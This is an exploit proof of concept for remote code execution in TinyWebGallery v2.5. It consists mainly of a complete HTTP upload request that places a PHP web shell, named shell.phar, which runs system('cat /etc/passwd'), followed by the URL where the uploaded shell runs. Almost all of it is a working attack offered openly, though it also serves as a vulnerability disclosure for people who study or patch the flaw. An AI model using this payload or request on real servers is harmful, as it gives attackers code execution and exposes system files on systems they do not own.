#Exploit Title: TinyWebGallery v2.5 - Remote Code Execution (RCE) #Application: TinyWebGallery #Version: v2.5 #Bugs: RCE #Technology: PHP #Vendor URL: http://www.tinywebgallery.com/ #Software Link: https://www.tinywebgallery.com/download.php?tinywebgallery=latest #Date of found: 07-05-2023 #Author: Mirabbas Ağalarov #Tested on: Linux 2. Technical Details & POC ======================================== steps: 1. Go to upload image http://localhost/twg25/admin/index.php?action=upload&sview=no&menu=true 2. upload .phar file payload: payload: <?php echo system("cat /etc/passwd"); ?> 3. go to file link poc request: POST /twg25/admin/index.php?action=upload&dir=&order=name&srt=yes&tview=no&sview=no&lang=en HTTP/1.1 Host: localhost Content-Length: 2123 Cache-Control: max-age=0 sec-ch-ua: "Not:A-Brand";v="99", "Chromium";v="112" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Linux" Upgrade-Insecure-Requests: 1 Origin: http://localhost Content-Type: multipart/form-data; boundary=----WebKitFormBoundary53rZRhJinqaMm7Ip User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: http://localhost/twg25/admin/index.php?action=upload&sview=no&menu=true Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=qc7mfbthpf7tnf32a34p8l766k Connection: close ------WebKitFormBoundary53rZRhJinqaMm7Ip Content-Disposition: form-data; name="token" b2ed5512107a625ef9d5688ced296c61 ------WebKitFormBoundary53rZRhJinqaMm7Ip Content-Disposition: form-data; name="MAX_FILE_SIZE" 2097152 ------WebKitFormBoundary53rZRhJinqaMm7Ip Content-Disposition: form-data; name="confirm" true ------WebKitFormBoundary53rZRhJinqaMm7Ip Content-Disposition: form-data; name="userfile[]"; filename="shell.phar" Content-Type: application/octet-stream <?php echo system("cat /etc/passwd"); ?> ------WebKitFormBoundary53rZRhJinqaMm7Ip Content-Disposition: form-data; name="userfile[]"; filename="" Content-Type: application/octet-stream ------WebKitFormBoundary53rZRhJinqaMm7Ip Content-Disposition: form-data; name="userfile[]"; filename="" Content-Type: application/octet-stream ------WebKitFormBoundary53rZRhJinqaMm7Ip Content-Disposition: form-data; name="userfile[]"; filename="" Content-Type: application/octet-stream ------WebKitFormBoundary53rZRhJinqaMm7Ip Content-Disposition: form-data; name="userfile[]"; filename="" Content-Type: application/octet-stream ------WebKitFormBoundary53rZRhJinqaMm7Ip Content-Disposition: form-data; name="userfile[]"; filename="" Content-Type: application/octet-stream ------WebKitFormBoundary53rZRhJinqaMm7Ip Content-Disposition: form-data; name="userfile[]"; filename="" Content-Type: application/octet-stream ------WebKitFormBoundary53rZRhJinqaMm7Ip Content-Disposition: form-data; name="userfile[]"; filename="" Content-Type: application/octet-stream ------WebKitFormBoundary53rZRhJinqaMm7Ip Content-Disposition: form-data; name="userfile[]"; filename="" Content-Type: application/octet-stream ------WebKitFormBoundary53rZRhJinqaMm7Ip Content-Disposition: form-data; name="userfile[]"; filename="" Content-Type: application/octet-stream ------WebKitFormBoundary53rZRhJinqaMm7Ip Content-Disposition: form-data; name="twgsize" 100000 ------WebKitFormBoundary53rZRhJinqaMm7Ip Content-Disposition: form-data; name="twgquality" 80 ------WebKitFormBoundary53rZRhJinqaMm7Ip-- http://localhost/twg25/pictures/shell.phar